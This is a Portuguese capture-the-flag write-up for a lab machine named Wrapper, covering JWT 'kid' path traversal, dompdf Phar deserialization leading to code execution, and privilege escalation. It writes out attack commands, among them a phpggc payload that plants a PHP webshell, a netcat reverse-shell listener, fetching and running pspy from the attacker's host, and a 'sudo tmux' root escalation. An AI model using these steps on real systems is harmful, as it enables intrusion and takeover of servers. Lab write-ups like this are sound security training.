Escolar Documentos
Profissional Documentos
Cultura Documentos
Dificuldade: Hard
Introdução
Nessa máquina, os jogadores vão explorar vulnerabilidades web para obter RCE no servidor. Dentre essas
vulnerabilidades: Phar Deserialization, Unrestricted File Upload, JWT Attack.
Write-Up
Enumeração
Enumerando as portas utilizando o rustscan, identificamos as portas 80 e 22:
rustscan -a <machine-ip>
Write-Up - Wrapper 1
Entrando no servidor web, vemos a seguinte página:
Enumerando os diretórios utilizando o “ffuf”, encontramos páginas de registro e login, diretórios de uploads, e páginas
de administração:
Write-Up - Wrapper 2
Enumerando arquivos utilizando o “ffuf”:
Registrando na aplicação:
Write-Up - Wrapper 3
Fazendo login:
Write-Up - Wrapper 4
Analisando o JWT no https://jwt.io, vemos ele possuí o header “kid”:
O header “kid” é utilizado para especificar o arquivo que armazena secret key, ou a private key (caso o algoritimo seja
RS256) do JWT.
A lógica da aplicação geralmente é: Ler o arquivo especificado no header “kid” e verificar se o seu conteúdo é igual a
chave utilizada na assinatura do JWT.
Atacando o JWT
Pesquisando sobre ataques no header “kid”, vemos que existe ataques de path traversal, que consiste em “apontar”
o kid para um arquivo em que conhecemos seu conteudo, assim podemos assinar o JWT.
https://book.hacktricks.xyz/v/portugues-ht/pentesting-web/hacking-jwt-json-web-tokens#problem
as-com-kid-travessia-de-caminho
Write-Up - Wrapper 5
Sabendo disso, podemos fazer um path traversal no header “kid”, apontar ele para o arquivo
“/proc/sys/kernel/randomize_va_space” e assinar o JWT com o valor “2”:
Se tentarmos acessar a página de administração “/admin”, seremos redirecionados para a página principal. Portanto,
com o ataque ao JWT, nós podemos alterar nossa role de “user” para “admin”, assim seremos administradores na
aplicação.
Alterando JWT:
Write-Up - Wrapper 6
Acessando página de administração:
Write-Up - Wrapper 7
Phar deserialization
Entrando na página “Template Email”, vemos o seguinte formulário:
Preenchendo o formulário e clicando em “Create Template”, vemos que a aplicação gerou um PDF de acordo com os
dados inseridos no formulário:
Uma ótima maneira de sabermos como o PDF foi gerado é utilizando o “exiftools”. Com ele conseguimos ver os
metadados do PDF.
Baixando PDF:
Write-Up - Wrapper 8
Analisando PDF com exiftool:
exiftool template.pdf
Vemos que o PDF foi gerado pelo “dompdf 2.0.1”. Pesquisando sobre CVEs nessa versão do dompdf, vemos que ele
possuí uma vulnerabilidade de Phar Deserialization:
Write-Up - Wrapper 9
Para explorarmos o PHAR deserialization e obtermos RCE precisamos de 4 fatores:
Na etapa de fuzzing, encontramos o arquivo “composer.json”. O composer é um utilitário para instalar libs em uma
aplicação PHP. Analisando esse arquivo, vemos que o guzzlehttp na versão “6.2.0” foi instalado na aplicação:
Write-Up - Wrapper 10
Pesquisando sobre vulnerabilidades no guzzle, encontramos um gadget no phpggc:
./phpggc -l guzzle
Com isso, conseguimos o terceiro fator: “encontrar vulnerabilidades no código para explorarmos com
desserialização.”
Nessa página conseguimos enviar uma imagem. Porém, podemos enviar uma payload Phar com a extensão .png ou
.jpeg, pois isso não interfere no ataque.
Com isso, conseguimos o quarto fator: “File upload para enviarmos a payload para o servidor.”
Não conseguimos validar se a aplicação está utilizando PHP <= 7.4, mas isso não nos impede de tentar executar o
ataque.
Write-Up - Wrapper 11
wget '<image-link>' -O example.jpg -q
echo '<?php system($_GET[0]);?>' > shell.php
php --define phar.readonly=0 phpggc Guzzle/FW1 /var/www/html/public/uploads/hcshell.php shell.php -pj example.jpg -o xpl.jpg
Essa payload vai gravar o uma webshell em “/var/www/html/public/uploads/hcshell.php”. A opção “-pj” é para gerar
uma imagem polimorfa, assim dando bypass em restrições de upload.
Agora precisamos criar o exploit para explorar a vulnerabilidade no DomPDF. Pesquisando por exploits públicos,
encontramos esse respositório:
Write-Up - Wrapper 12
https://github.com/motikan2010/CVE-2023-23924
Write-Up - Wrapper 13
Para explorarmos a vulnerabilidade, precisamos especificar a payload phar que foi enviada ao servidor. Então o
arquivo.svg ficará assim:
Write-Up - Wrapper 14
Com a webshell, conseguimos RCE:
Com isso, podemos obter uma shell interativa. Primeiro abrimos o netcat na porta 80:
sudo nc -lvp 80
Write-Up - Wrapper 15
Com o netcat aberto, enviamos a seguinte payload com urlencode para nossa webshell:
Write-Up - Wrapper 16
Para obtermos shell “full” interativa, precisamos executar os seguintes comandos:
export TERM=xterm
script /dev/null -c bash
Cntrl + Z
stty raw -echo && fg
Escalação Lateral:
Enumerando os usuários, vemos que existe o usuário “jack”.
Lendo o /etc/crontab, não encontramos nada, então utilizei o pspy64 para verificar se havia outras crontabs
configuradas.
Para fazer download do pspy64 na máquina alvo, precisamos fazer download em nossa máquina, hospedar em um
servidor python, e na máquina alvo utilizar o wget para fazer o download:
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -q
python3 -m http.server 9000
Na máquina alvo:
Write-Up - Wrapper 17
wget <your-ip>:9000/pspy64 -q
chmod +x pspy64 ; ./pspy64
Aguardando cerca de 1 minuto, vemos o seguinte comando sendo executado pelo usuário “jack”:
Veja que ele está comprimindo um arquivo e utilizando a senha “n0n1nter4ct1v3”. Com essa senha, conseguimos
acesso ao usuário jack:
su jack
Escalação de privilégios
Enumerando as permissões de sudo do usuário jack, vemos que ele pode executar o tmux como usuário root:
sudo -l
Write-Up - Wrapper 18
Se executarmos o tmux como root, conseguimos shell interativa no usuário root:
sudo /usr/bin/tmux
Referências:
Lab: JWT authentication bypass via kid header path traversal | Web Security Academy
This lab uses a JWT-based mechanism for handling sessions. In order to verify the signature, the
server uses the kid parameter in JWT header to fetch the ...
https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traver
sal
phar:// deserialization
https://book.hacktricks.xyz/pentesting-web/file-inclusion/phar-deserialization
Write-Up - Wrapper 19